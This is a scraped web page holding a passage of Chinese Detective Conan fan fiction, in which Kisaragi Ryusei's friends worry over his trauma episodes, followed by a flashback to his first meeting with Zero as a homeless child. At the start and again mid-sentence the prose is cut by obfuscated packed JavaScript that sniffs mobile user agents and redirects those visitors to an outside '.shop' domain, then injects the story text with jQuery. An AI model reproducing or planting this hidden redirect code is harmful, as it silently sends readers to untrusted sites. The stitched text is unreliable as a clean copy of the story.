d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|11692918|124305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着月光,诸伏景光总算能看清室内,和他之前来如月琉生宿舍时没什么区别。他走到床边坐下,偏头看去。 如月琉生颇为无辜地眨眨眼。 “你知道糊弄不过去的吧?”诸伏景光在和他数年的相处中已经摸索出了最佳套话方法,对如月琉生,曲折委婉必须后于直接发问,不然他就会像刺猬一样缩起来,可以摸摸收起来的刺,但揉不到软软的肚皮。 “啊,是啦,毕竟你和zero都很了解我嘛。”如月琉生想到什么:“松田和萩原应该也发现了,松田虽然看起来什么都不放在眼里,但其实是很敏锐的人啊。” 诸伏景光蓝色的猫眼认真注视着他,声音轻缓温柔:“所以,可以告诉我发生什么事了吗?” 如月琉生定定地看了他几秒,突然有些狼狈地别过眼,他的呼吸声在安静的夜晚格外明显,诸伏景光担忧地握住他的手腕:“琉生?” “……”如月琉生闭了闭眼,声音有些低哑:“如果我能做到告诉你,我会告诉你的,景光。” “抱歉,我暂时没有办法说。” 诸伏景光摇摇头:“这不是需要道歉的事情,只是,琉生。” 诸伏景光给了他一个清浅的拥抱,和下午那个仓促得像两个人撞在一起的拥抱不同,这个拥抱温暖绵长,直到他们两个的体温交融,诸伏景光才重新远离,垂着眸看他。 “你需要的时候,我、还有zero他们,我们一直都在。” 如月琉生被他拥抱的瞬间,那种让人抓心挠肺的焦渴感被完全抚平了,他觉得浑身每个毛孔都舒展张开,一种异样的依恋和满足情绪升腾而起,他控制着自己才没有表现出又蹭又贴的奇怪行为。 “我会做到的。”如月琉生认真地注视他,像在许下一个极为重要的承诺:“所以相信我吧,景光。” 等诸伏景光走后,如月琉生缓了缓发麻的手脚,他现在差不多搞清楚这个智能版PTSD的发作诱因了。 萩原的那次,他正在回忆以前——也就是前几世的萩原研二在笑眼弯弯提出联谊建议时的神情和语气。课堂上看见诸伏景光的眼神,还有刚才也是,那样温和、凝视着自己的担忧神情。 因为第七次轮回的记忆总是碎片式的,只有那种怅然若失、无能为力的空虚和绝望情绪始终萦绕,所以他总会带着一点情不自禁的怀念,在看见现在鲜活的挚友们时,难以控制自己的思绪。 真的,真的,真的很想抓住你们啊。 如同梦魇一般的呢喃声再次响在耳边,如月琉生睁大眼睛,视野内腾起可怖的血色,他嘴里全是铁锈味,那个人的蓝色眼睛扭曲在夜色里,带来天旋地转般的眩晕感。 “琉……生……” “你……” 他在说什么?诸伏景光到底说了什么?为什么他一直想不起来? 这次的发作比以往都要猛烈,心脏的快速跳动带来仿佛缺氧的感觉,他感觉自己呼吸不进空气,窒息感越来越强烈,恐惧和焦虑达到了顶峰,却完全无法控制四肢做出反应,僵硬地坐在黑暗里。 系统,系统! 【这不是系统模拟的创伤反应。】 ……什么? 在听到系统的声音后,如月琉生的思绪断了一瞬,他用力眨眼,试图让自己看清眼前是桌子而非尸体,许久之后,他惊惧的情绪有所缓解,失力地倒在床上,浑身都被汗水打湿。 系统面板上显示的ptsd触发时间远在半个小时之前。 如月琉生伸手挡住眼睛,自嘲地笑了笑。 5. 失败的隐藏者 “怎么了,小琉生?” 他的话把大家的目光都吸引过去,于是几人便看到平日里总是懒散带着笑意的青年直愣愣地“看”着某个方向,面上的表情混杂着迷茫和恐惧,凑近了才能发现,他的目光并没有对准具体的事物,瞳孔失焦,像是陷入了什么幻觉。 一连唤了他几声都没有反应,松田阵平皱着眉想去碰他:“喂,琉生,你——” 他手指刚接触到这人的手臂,如月琉生就直接软倒,松田阵平两手拖着他肋下,下意识提高声音:“他怎么了?!快帮忙接着!” 诸伏景光连忙到另一边托着如月琉生蹲下,降谷零检查了一□□征,皱着眉:“不是中暑,看着也不是什么急病,只是晕过去了。” 但是如月琉生额头全是冷汗,晕也不安稳,看着十分难受。 萩原研二举手:“会不会是低血糖?” 诸伏景光垂下眼:“他以前有低血糖,很久没犯过了。” 松田阵平弯腰凑近:“试试能不能直接叫醒吧,看着很不妙啊。” “喂,喂,你怎么了——如月琉生!” 被叫名字的人眼睫颤抖,竟然真的慢慢睁开了眼睛,他一开始满是茫然,像完全不知道这是哪里,视线聚焦后看见面前的降谷零,瞳孔骤然紧缩。 不对劲。 如果情绪能具象化,那现在的如月琉生就像一个巨大的马上就要破裂的气球,他自己在意识迷蒙时或许没意识到,但瞳孔深处的惶然和恐惧却直白地展现在了几位同期的面前,瞬息之间,降谷零就做出了决定。 金发黑皮的青年松了口气,语气和缓,灰紫色的眼睛里带着安抚,用平时少见的亲昵口吻道:“因为没吃早饭低血糖什么的实在是太逊了啊,ruki。” 几人之间的默契让他们无需过多解释,便顺着降谷零的话接了下去,这招显然效果显著,绿眼青年紧绷的情绪渐渐舒缓下来,趴在降谷零背上看他们的时候,无端有一种乖巧的感觉。 没有人问他怎么了,诸伏景光和降谷零东拉西扯的聊着天,走在阳光下,这是最平凡普通、但又无比美好的一天。 ——对如月琉生来说。 “……下次可不能这样了啊,今天把我们都吓了一跳呢。” 诸伏景光回头的时候,对上了如月琉生的目光,非要他来形容的话,那大概是一种异常珍视的又小心翼翼的目光,流露出浓重的怀念。 ……怀念? 那是一个看起来马上就要落泪的眼神。 被抓到的人慌乱地错开了目光,把背着他的降谷零勒得差点喘不过气,终于找回了声音一样,开始和往常一样同黑皮青年拌嘴。 除了那一天,直到面对萩原失态的那次,如月琉生都掩盖得很好,好到就算诸伏景光以“他发生了某事”为前提去观察,也看不出任何不对劲的地方。 他看见如月琉生失神地摸着右手腕,但他没有带手链的习惯,无关于什么东西的丢失。在这天晚上,诸伏景光又一次直面青年的失神,暗含恐惧的瞳孔,骤然急促的呼吸,他握上青年的手腕,掌下的皮肤光滑平整,没有疤痕,也没有其他异常。 “如果我能做到告诉你,我会告诉你的,景光。” 诸伏景光推开房门,朝另一边走去。 他有一个不太好的猜测。 几人打着小夜灯——松田同学友情提供手工制作——围在一起,正讨论着什么,听见声音纷纷转过来看他。 松田阵平坐在地上背靠床沿:“怎么样,那家伙招了吗?” 萩原研二吐槽道:“怎么说得像审讯犯人一样,感觉小阵平下一秒马上要掏出枪来了。” 降谷零锐评:“是那种黑吃黑抓到对方手下于是进行恐吓的黑老大。” 松田阵平额头冒出“#”字,阴测测的转向两人。 “哇!小阵平好可怕!” 诸伏景光在他们打闹间坐到降谷零身边,大家默契地安静下来,伊达航拍了拍他的肩:“有什么发现吗?” 诸伏景光点点头,神情担忧。 萩原研二洞察力极强,他支着下巴问道:“是又出现那种状态了吗?” 萩原研二也是直面过那个状态的人之一,原本好好说话的人突然卡住,像看见了什么十分可怕的东西,在直白的恐惧之下,更深层次的是充满绝望的悲伤。 像是有一件他非常害怕但无能为力的事情再一次发生了。 他下了结论:“是关于我们几个人吧,每次都是在对视的时候突然怔住,今天早上,小琉生看我们的时候,就像我们身上带着什么很可怕的东西。” 降谷零严谨地纠正:“第一次不是,hiro,琉生有和你说什么吗?” 诸伏景光于是仔细和他们讲了一遍两人的谈话。 松田阵平不解:“什么叫如果我能告诉你我会告诉你,难道有人不让他说吗……” 他说着说着突然停顿,心里不妙的猜测还未出口,降谷零率先接过话头:“不会,如果真的有人胁迫他到这种程度,依照琉生的性格,不会说这么暗示意义明显的话。” “所以……” 降谷零看了一眼诸伏景光:“是ptsd吧,琉生的‘无法说出口’,其实是一种面对创伤的回避反应,无法说出造成伤害的核心部分,甚至和类似的事情都不想接触。” 萩原研二点点头:“我也是这么想的,这是目前最合理的猜测了,但是我想不到有什么事情和我们相关,又能对他造成伤害。” 伊达航提出思路:“会不会是类似或者相同的身份?同期,朋友,重要的人?” 松田阵平敲了敲桌面:“话说你们不是幼驯染吗,他以前有没有经历过什么不好的事情?” 诸伏景光在刚刚沉默的时间里把这些年和如月琉生的相处翻来覆去地想了一遍:“琉生身边的朋友只有我和zero,上学的时候也没有表现出和其他人关系很好,至于家人……琉生以前是孤儿,后来才被现在的养父母收养,他很少提起家里的事情。” 伊达航若有所思:“琉生是什么时候被收养的?” 降谷零道:“大概是十岁那年,琉生和我们说他被收养了,后来就转来了我和hiro在的学校。琉生转来的第一天,他的养父来接他放学,是一个穿着西装的男人,琉生叫他‘德川先生’。” 萩原研二道:“听起来很生疏啊,但起码通过了福利院的收养手续,你们有再打听出什么吗?毕竟朋友突然被一个完全不认识的大人收养,应该会很担心吧。” 诸伏景光点点头:“我们后来问过很多次,琉生说只是一个好心的叔叔,承诺要提供他成年之前的学费和生活费,两人平时不常见面,关系也并不亲近,加上琉生的生活确实因此变好,上学期间也没有什么意外,我和zero就没有再问了。” “不过有一点……”诸伏景光神色犹豫:“琉生并不是在福利院被收养的。” 萩原研二:“诶?” 降谷零灰紫色的眸子垂下,像是陷入了回忆:“一开始遇到琉生的时候,他还在街上流浪……” 降谷零记得,那天东京天气阴沉,人们都行色匆匆,无人在意角落里发生的事。 年幼的降谷零在被一堆同龄人奚落之后,捂着受伤的手臂,想要找找被他们藏起来的书包,藏在这种地方,就算找到也一定脏得不能看了。 “在左前面的第二个垃圾桶里。” 这里的气味实在不好闻,降谷零皱着脸正准备开始翻,蓦的听见一道细弱稚嫩的声音。 他四下看了看——得益于对方有一双透亮得如同雨后晴空的天青色眸子,让他终于锁定了一个方位,看清了窝在不远处一堆废箱子旁边,穿着灰扑扑的衣服,几乎与周围环境融为一体的小男孩。 男孩脸上没有表情,怏怏地看了他一眼又收回视线,继续盯着某个方向发呆。 他看起来比自己小,只有五六岁的样子,降谷零在原地思索片刻,慢慢走到他面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|11692919|124305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前,隔了一段距离问他:“你是谁,怎么待在这里?” 男孩不搭理他。 降谷零习以为常,他也不放弃,反而蹲下来,先介绍了一遍自己:“我叫降谷零,你叫什么名字?” 男孩终于把目光挪回来,看着他,慢吞吞地开口:“你的包,左前面的第二个垃圾桶里。” 他的声音气力不足,像没吃饱一样软绵绵的,降谷零又望了一眼他身下垫着的旧旧的棉被和身后的小包裹,似乎明白了什么,于是转身想先拿回书包,但他个子太小,有点够不到,又跳又蹦了半天,脸都憋红了,转身想找个垫脚的,刚好和男孩对上视线,男孩一顿,又慢吞吞地挪开目光。 降谷零心想,好像课堂上老师讲过的树濑啊。 废了九牛二虎之力,降谷零总算把书包拿回来,他兴冲冲地跑回男孩身边,拉开书包掏了个面包出来递给他:“给!” 男孩又是那种慢吞吞的姿态,慢吞吞看了会面包,慢吞吞接过来,慢吞吞撕开包装纸,慢吞吞的开始吃。 他吃相倒是很好,小口小口的,但是吃得很快,降谷零又觉得他像一只小仓鼠了。 “现在能告诉我名字了吧?” 他一头金发乱糟糟的,蜜色的皮肤上还有些小汗珠,这时候完全看不出刚刚被奚落时的气愤和委屈模样,反倒目光晶亮,很期待地看着对方。 可能是拿人手软,吃人嘴短,男孩终于回答了他的问题:“……如月,琉生。” 降谷零迫不及待地继续问着这个难得愿意和他讲话的男孩子,可能是对方视万物如无物的状态让他有了一种直觉——这个人大概不会很在意自己的发色肤色。 “你是离家出走了吗,一个人待在这里,等爸爸妈妈来找你吗?但是这里太偏僻了,你得换个显眼一点的地方。你的衣服是怎么回事,老师说了,小朋友要爱干净。” “……”如月琉生张了张嘴,像是被一连串问题砸晕了,最后十分简略地回答:“没爸,没妈,没家。” “诶??”降谷零小朋友瞪大了眼睛:“那你、那你住在哪里?” 如月琉生不说话,就这么看着他。 降谷零后知后觉地看了眼围在他俩身边的几个大箱子,提高了音量,十分震惊:“你住在这里吗?!” 如月琉生点点头,拍拍左边这个箱子,身子往旁边让了点,降谷零这才看见那箱子上破了个大洞,开口歪歪扭扭,他好奇地往里看去,发现里面铺了很多乱七八糟的布料,底下也垫了一层软软的棉絮,还有一些食物——比如半袋子薯片,破了口的小面包,吃了一半的和果子等等。 降谷零呆呆地退出来,颤声:“你睡在这里面?!” 如月琉生歪头看着他,眨了眨眼。 降谷零抓了抓蓬乱的头发,苦恼地思索了很久,遇到了迄今为止的人生中最严峻的一件事——他的第一个朋友,居然这么可怜!连睡的地方都没有! “你该回家了。”如月琉生突然开口。 降谷零这才像被提醒了一样,很着急地提着书包站起来,半晌又蹲下,在书包里东掏西掏,把除了课本以外感觉能用得上的东西一股脑塞给如月琉生,还塞了一本封面漂亮的图画书给他。 “那个,琉生,我明天再来看你。”降谷零犹豫了一下,有点期待又有点紧张地望着他:“我们……算是朋友了吧?” 如月琉生眨巴的目光里带着诧异,其实他不能理解一个穿着整齐漂亮,一个有家、还在上学的好孩子要和自己做朋友,虽然看起来他在同学间的关系不太好,但总有比和他做朋友更好的选择。 但是他垂下目光,看着那本漂亮的图画书,封面上几只卡通小动物牵着手在唱歌,他的手指无意识地摩擦了一下封面,抬眼时露出一点细微的笑意。 如月琉生点点头:“嗯。” 他在金发男孩骤然开心起来的表情里眨了眨眼,吐出那个还有点陌生的、但念得非常认真的名字。 “零。” 6. 小小年纪就被.养